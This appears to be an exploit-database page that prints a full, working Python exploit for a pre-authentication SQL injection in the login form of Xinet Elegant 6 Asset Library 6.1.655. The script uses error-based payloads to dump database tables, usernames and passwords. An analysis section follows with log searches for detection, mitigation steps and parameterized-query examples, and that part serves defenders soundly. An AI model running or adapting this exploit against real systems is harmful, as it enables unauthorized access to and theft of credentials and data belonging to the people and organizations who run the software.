Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection

Exploit Author: hyp3rlinx Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-14
# Exploit Title: Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
# Exploit author: hyp3rlinx

import requests,time,re,sys,argparse

#NAPC Xinet Elegant 6 Asset Library v6.1.655
#Pre-Auth SQL Injection 0day Exploit
#By hyp3rlinx
#ApparitionSec
#UPDATED: Jan 2024 for python3
#TODO: add SSL support
#===============================
#This will dump tables, usernames and passwords in vulnerable versions
#REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0
#SQL INJECTION VULN PARAM --> LoginForm[username]
#================================================

IP=""
PORT="80"
URL=""
NUM_INJECTS=20
k=1
j=0
TABLES=False
CREDS=False
SHOW_SQL_ERROR=False


def vuln_ver_chk():
    global IP, PORT
    TARGET = "http://"+IP+":"+PORT+"/elegant6/login"
    response = requests.get(TARGET)
    if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content.decode()):
        print("[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655.")
        return True
    print("[!] Version not vulnerable :(")
    return False


def sql_inject_request(SQL):
    
    global IP, PORT
    URL = "http://"+IP+":"+PORT+"/elegant6/login"

    tmp=""
    headers = {'User-Agent': 'Mozilla/5.0'}
    payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL}
    session = requests.Session()
    
    res = session.post(URL,headers=headers,data=payload)
    idx = res.content.decode('utf-8').find('CDbCommand')  # Start of SQL Injection Error in response
    idx2 = res.content.decode('utf-8').find('key 1')      # End of SQL Injection Error in response

    return res.content[idx : idx2+3]



#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc
def inc():
    global k,j
    while j < NUM_INJECTS:
        j+=1
        if k !=1:
            k+=1
        return str(j)+','+str(k)


def tidy_up(results):
    global CREDS
    idx = results.find("'".encode())
    if idx != -1:
        idx2 = results.rfind("'".encode())
        if not CREDS:
            return results[idx + 1: idx2 -2]
        else:
            return results[idx + 2: idx2]



def breach(i):
    global k,j,NUM_INJECTS,SHOW_SQL_ERROR
    result=""
    
    #Dump Usernames & Passwords
    if CREDS:
        if i % 2 == 0:
            target='username'
        else:
            target='password'
            
        SQL=('"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))'
            'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -')

        if not SHOW_SQL_ERROR:
            result = tidy_up(sql_inject_request(SQL))
            if result:
                result = result.decode()
        else:
            result = sql_inject_request(SQL)+"\n"
            if result:
                result = result.decode()
        print("[+] Dumping "+str(target)+": "+str(result))
        
    #Dump Tables
    if TABLES:
        while j < NUM_INJECTS:
            nums = inc()
            SQL=('"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()'
                'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -')

            if not SHOW_SQL_ERROR:
                result = tidy_up(sql_inject_request(SQL))
            else:
                result = sql_inject_request(SQL) + "\n"
            if result:  
                print("[+] Dumping Table... " +str(result.decode()))
            time.sleep(0.3)
            
      

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--ip_address", help="<TARGET-IP>.")
    parser.add_argument("-p", "--port", help="Port, Default is 80")
    parser.add_argument("-t", "--get_tables", nargs="?", const="1", help="Dump Database Tables.")
    parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump Database Credentials.")
    parser.add_argument("-m", "--max_injects", nargs="?", const="1", help="Max SQL Injection Attempts, Default is 20.")
    parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1", help="Display SQL Errors, Default is Clean Dumps.")
    parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show script usage.")
    return parser.parse_args()



def usage():
    print("Dump first ten rows of usernames and passwords")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\n")
    print("\nDump first five rows of database tables and show SQL errors")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\n")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP>  -p80 -t -c -m30\n")
    exit(0)


def main(args):
    
    global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR
    
    if args.ip_address:
        IP=args.ip_address
        
    if args.port:
        PORT=args.port

    if args.get_tables:
        TABLES=True

    if args.creds:
        CREDS=True

    if args.max_injects:
        NUM_INJECTS = int(args.max_injects)

    if args.show_sql_errors:
        SHOW_SQL_ERROR=True

    if args.examples:
        usage()

    if vuln_ver_chk():
        for i in range(0, NUM_INJECTS):
            breach(i)
            time.sleep(0.3)


if __name__=='__main__':

    parser = argparse.ArgumentParser()

    print("NAPC Elegant 6 Asset Library v6.1.655")
    print("Pre-Authorization SQL Injection 0day Exploit")
    print("Discovery / eXploit By hyp3rlinx")
    print("ApparitionSec\n")
    
    time.sleep(0.5)
    
    if len(sys.argv)== 1:
        parser.print_help(sys.stderr)
        sys.exit(0)
        
    main(parse_args())


Xinet Elegant 6 Asset Library v6.1.655 — Pre‑Auth SQL Injection: Analysis, Risks, and Remediation

Overview

Xinet Elegant 6 Asset Library v6.1.655 contains a pre‑authentication SQL injection vulnerability in the web UI login endpoint. The vulnerability allows an unauthenticated attacker to inject SQL via the username parameter on the login form. If successfully exploited, the vulnerability can disclose database schema, account credentials, or enable further compromise of the application and backend data stores.

Why this is serious

  • Pre‑auth: an attacker does not need valid credentials to probe and exploit.
  • Data exposure: SQL injection can allow reading (and in some cases modifying) arbitrary database content.
  • Pivoting: compromised credentials or extracted data may allow lateral movement to other systems that reuse those credentials.

Technical root cause (high level)

The issue stems from unsanitized user input that is interpolated directly into SQL queries within server‑side code. When the application forms SQL strings using user data rather than parameterized queries or strict validation, specially crafted input can alter the intended SQL statement logic. In this case, the login routine accepts a username field that reaches database code paths without appropriate parameterization or escaping.

Typical indicators and forensic artifacts

When an SQL injection probe is attempted, applications often emit SQL error messages that can be searched for in web server, application, or proxy logs. Examples of useful indicators to search for (do not attempt exploitation in production environments):

  • Error fragments such as application SQL engine stack traces (for example, strings that include framework DB command identifiers or SQL syntax errors).
  • Unusual parameter values on POSTs to the login endpoint (e.g., login form entries with punctuation and SQL keywords).
  • Unexpected spikes in the number of login attempts or unusual patterns from single IP addresses.

Example safe log searches (for detection only):

grep -i "CDbCommand" /var/log/httpd/*access_log*
grep -i "SQL" /var/log/elegant6/app.log

Explanation: These commands search for application SQL error markers or SQL keywords in logs. Use authorized, read‑only searches in your environment and avoid attempting active exploitation.

Impact assessment

Aspect Impact
Confidentiality High — database content (usernames, hashed passwords, metadata) can be leaked.
Integrity Medium — SQL injection may allow update/delete statements depending on DB privileges.
Availability Low to medium — expensive queries or destructive statements could impact availability.

Immediate mitigation steps (for administrators)

  • Isolate: If you detect active exploitation, isolate the affected host from the network to prevent further exfiltration.
  • Apply vendor patches: Check Xinet/NAPC vendor advisories and upgrade to a patched release if available.
  • Temporary hardening: Restrict access to the web UI via network ACLs, VPN, or IP allowlists while patching is planned.
  • Least‑privilege DB accounts: Ensure the application uses a database account with only the permissions it needs (avoid using DB admins for application connections).
  • Monitor and alert: Create alerts for unusual login POST payloads and for SQL error messages in application logs.

Long‑term remediation and secure development

Fixing SQL injection issues requires both correcting the vulnerable endpoints and improving secure coding practices across the codebase.

  • Migrate to parameterized queries / prepared statements everywhere user input reaches the database.
  • Adopt strong input validation: allow‑list acceptable username patterns (e.g., alphanumeric, defined length limits).
  • Use ORM features safely: when using an ORM, avoid raw query concatenation and prefer ORM parameter APIs.
  • Employ defense‑in‑depth: web application firewalls (e.g., ModSecurity with OWASP CRS), query timeouts, and database auditing.

Secure coding examples (safe, defensive patterns)

Below are secure examples showing how to use parameterized queries in common languages. These examples are defensive — they demonstrate how to prevent SQL injection rather than exploit it.

# Python (psycopg2) - use parameterized queries to avoid SQL injection
import psycopg2

conn = psycopg2.connect(dbname="mydb", user="appuser", password="secret", host="dbhost")
cur = conn.cursor()
username = "alice"  # validated/normalized before use
cur.execute("SELECT id, password_hash FROM users WHERE username = %s", (username,))
row = cur.fetchone()
cur.close()
conn.close()

Explanation: Using parameter placeholders (%s) with a parameter tuple ensures the driver escapes or binds values correctly. Never build SQL by concatenating user inputs into SQL strings.

// PHP (PDO) - prepared statement example
$pdo = new PDO('mysql:host=db;dbname=mydb;charset=utf8mb4', 'appuser', 'secret', [
  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);

$username = $_POST['username'] ?? '';
$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE username = :username');
$stmt->execute([':username' => $username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

Explanation: PDO prepared statements with named parameters (:username) keep user input separate from SQL syntax and prevent injection.

Operational hardening and detection suggestions

  • Enable database logging of slow or failed queries and review anomalous queries for evidence of injection payloads.
  • Deploy WAF rulesets tuned to your application; use OWASP CRS as a baseline and adjust false positives.
  • Implement rate limiting and anomaly detection on the login endpoint to reduce automated probing activity.
  • Rotate sensitive credentials and secrets if there is evidence of exfiltration.

Vulnerability disclosure and testing guidance

  • Responsible disclosure: Report confirmed vulnerabilities to the vendor (Xinet/NAPC) through their security contact, providing reproduction steps, affected versions, and suggested fixes.
  • Testing policy: Only perform security testing against systems you own or where you have explicit authorization. Use isolated test environments that mirror production to validate fixes.
  • Post‑fix validation: After applying patches or code changes, run an authenticated and unauthenticated security scan using a reputable web application scanner and perform code review for parameterization compliance.

Example remediation checklist for this vulnerability

  • Confirm application version and affected components (e.g., Elegant 6 login endpoint).
  • Apply vendor patches or upgrade to a non‑vulnerable version immediately.
  • Review code that handles LoginForm[username] and replace raw SQL concatenation with parameterized queries.
  • Harden database access (least privilege) and rotate credentials if compromise suspected.
  • Monitor logs for residual exploitation attempts; tighten network access to the UI.
  • Document the incident, follow incident response procedures, and notify stakeholders where required by policy or law.

Summary

The pre‑auth SQL injection in Xinet Elegant 6 Asset Library v6.1.655 is a high‑impact vulnerability because it allows data disclosure without credentials. Administrators should prioritize patching, apply immediate compensating controls (network restrictions, WAF), and remediate code by adopting parameterized queries and strict input validation. Always follow responsible disclosure and only test in authorized environments.